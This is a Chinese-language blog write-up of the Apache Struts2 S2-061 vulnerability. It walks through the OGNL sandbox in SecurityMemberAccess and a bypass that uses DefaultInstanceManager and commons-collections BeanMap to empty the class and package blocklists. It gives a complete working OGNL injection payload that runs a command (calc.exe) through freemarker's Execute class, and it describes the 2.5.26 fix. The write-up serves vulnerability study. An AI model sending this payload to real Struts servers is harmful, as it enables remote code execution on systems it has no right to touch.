struts2系列漏洞 S2-061

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

影响版本Struts 2.0.0 - Struts 2.5.25,这里使用struts 2.5.25。

官方通告,主要看沙盒绕过方式,需要引入一个老朋友依赖:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

漏洞利用

现有的沙盒限制主要位于SecurityMemberAccess类中,类型如下:

  • 无法new一个对象,由isClassExcluded函数负责,前面的callConstructor函数将target设置为一个class,isAccessible函数中获得的targetClass就为Class.class,触发isClassExcluded函数中的:

    1
    clazz == Class.class && !allowStaticMethodAccess
  • 无法调用黑名单类和包的方法、属性,由isPackageExcluded等函数负责

  • 无法使用反射,由isClassExcluded函数负责,由于将java.lang.Object和java.lang.Class放入黑名单,而反射需要调用它们的getClass、getDeclaredMethod等函数

  • 无法调用静态方法,由Modifier.isStatic和allowStaticMethodAccess属性负责

还在OgnlRuntime的invokeMethod函数中以写死的方式禁止了一些类,即绕过沙盒也无法使用它们。

我们现在还剩下的手段,就只有调用已实例化对象的非静态函数了。

#application中存在一个DefaultInstanceManager对象:

其newInstance函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object newInstance(String className) throws IllegalAccessException, InvocationTargetException, NamingException, InstantiationException, ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException {
Class<?> clazz = this.loadClassMaybePrivileged(className, this.classLoader);
return this.newInstance(clazz.getConstructor().newInstance(), clazz);
}

private Object newInstance(Object instance, Class<?> clazz) throws IllegalAccessException, InvocationTargetException, NamingException {
if (!this.ignoreAnnotations) {
Map<String, String> injections = this.assembleInjectionsFromClassHierarchy(clazz);
this.populateAnnotationsCache(clazz, injections);
this.processAnnotations(instance, injections);
this.postConstruct(instance, clazz);
}

return instance;
}

可以通过一个字符串创建一个新的对象,但是要求该类存在public的无参构造函数。

老朋友依赖中的org.apache.commons.collections.BeanMap类存在public的无参构造函数:

1
2
public BeanMap() {
}

其setBean函数如下:

1
2
3
4
public void setBean(Object newBean) {
this.bean = newBean;
this.reinitialise();
}

reinitialise函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected void reinitialise() {
readMethods.clear();
writeMethods.clear();
types.clear();
initialise();
}

private void initialise() {
if(getBean() == null) return;

Class beanClass = getBean().getClass();
try {
//BeanInfo beanInfo = Introspector.getBeanInfo( bean, null );
BeanInfo beanInfo = Introspector.getBeanInfo( beanClass );
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
if ( propertyDescriptors != null ) {
for ( int i = 0; i < propertyDescriptors.length; i++ ) {
PropertyDescriptor propertyDescriptor = propertyDescriptors[i];
if ( propertyDescriptor != null ) {
String name = propertyDescriptor.getName();
Method readMethod = propertyDescriptor.getReadMethod();
Method writeMethod = propertyDescriptor.getWriteMethod();
Class aType = propertyDescriptor.getPropertyType();

if ( readMethod != null ) {
readMethods.put( name, readMethod );
}
if ( writeMethod != null ) {
writeMethods.put( name, writeMethod );
}
types.put( name, aType );
}
}
}
}
...
}

简单来说就是会获取输入的对象中的所有属性的描述符及相应的getter和setter放入对应的清空后的HashMap中。

然后其get函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object get(Object name) {
if ( bean != null ) {
Method method = getReadMethod( name );
if ( method != null ) {
try {
return method.invoke( bean, NULL_ARGUMENTS );
}
catch ( IllegalAccessException e ) {
logWarn( e );
}
catch ( IllegalArgumentException e ) {
logWarn( e );
}
catch ( InvocationTargetException e ) {
logWarn( e );
}
catch ( NullPointerException e ) {
logWarn( e );
}
}
}
return null;
}

可以调用输入name的getter函数,因为OgnlValueStack中存在getContext函数,所以可以通过BeanMap获取其中存放的context:

1
2
3
4
5
6
7
8
data1 = {
"username": "%{"
"(#stack=#attr['struts.valueStack'])."
"(#beanmap=#application['org.apache.tomcat.InstanceManager'].newInstance(\"org.apache.commons.collections.BeanMap\"))."
"(#beanmap.setBean(#stack))."
"(#context=#beanmap.get(\"context\"))"
"}"
}

通过调试可以看到结果:

获取到context后就可以通过其getMemberAccess函数获取SecurityMemberAccess,然后就是调用其setter清空其中的黑名单,这里可以使用BeanMap的put函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object put(Object name, Object value) throws IllegalArgumentException, ClassCastException {
if ( bean != null ) {
Object oldValue = get( name );
Method method = getWriteMethod( name );
if ( method == null ) {
...
try {
Object[] arguments = createWriteMethodArguments( method, value );
method.invoke( bean, arguments );

Object newValue = get( name );
firePropertyChange( name, oldValue, newValue );
}
catch ( InvocationTargetException e ) {
logInfo( e );
throw new IllegalArgumentException( e.getMessage() );
}
catch ( IllegalAccessException e ) {
logInfo( e );
throw new IllegalArgumentException( e.getMessage() );
}
return oldValue;
}
return null;
}

虽然源码中的freemarker.template.utility.Execute类没有无参构造函数,但我们都知道JVM会给它自己加一个,所以最后payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
data1 = {
"username": "%{"
"(#stack=#attr['struts.valueStack'])."
"(#instanceManager=#application['org.apache.tomcat.InstanceManager'])."
"(#beanmap=#instanceManager.newInstance(\"org.apache.commons.collections.BeanMap\"))."
"(#emptySet=#instanceManager.newInstance(\"java.util.HashSet\"))."
"(#beanmap.setBean(#stack))."
"(#context=#beanmap.get(\"context\"))."
"(#beanmap.setBean(#context))."
"(#memberAccess=#beanmap.get(\"memberAccess\"))."
"(#beanmap.setBean(#memberAccess))."
"(#beanmap.put(\"excludedClasses\", #emptySet))."
"(#beanmap.put(\"excludedPackageNames\", #emptySet))."
"(#args=#instanceManager.newInstance(\"java.util.ArrayList\"))."
"(#args.add(\"calc.exe\"))."
"(#execute=#instanceManager.newInstance(\"freemarker.template.utility.Execute\"))."
"(#execute.exec(#args))"
"}"
}

漏洞分析

同S2-059。

漏洞修复

在Struts 2.5.26版本下,黑名单增加了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util.,
org.apache.tomcat.,
org.apache.catalina.core.,
com.ibm.websphere.,
org.apache.geronimo.,
org.apache.openejb.,
org.apache.tomee.,
org.eclipse.jetty.,
org.mortbay.jetty.,
org.glassfish.,
org.jboss.as.,
org.wildfly.,
weblogic.," />

禁止了org.apache.catalina.core.,即禁止了DefaultInstanceManager,无法再通过这个类实例化对象了。

同时populateComponentHtmlId函数中的id也变成了未经过表达式解析的%{username},双重评估也修了。


参考

https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g


struts2系列漏洞 S2-061
http://yoursite.com/2022/04/17/struts2系列漏洞-S2-061/
作者
Aluvion
发布于
2022年4月17日
许可协议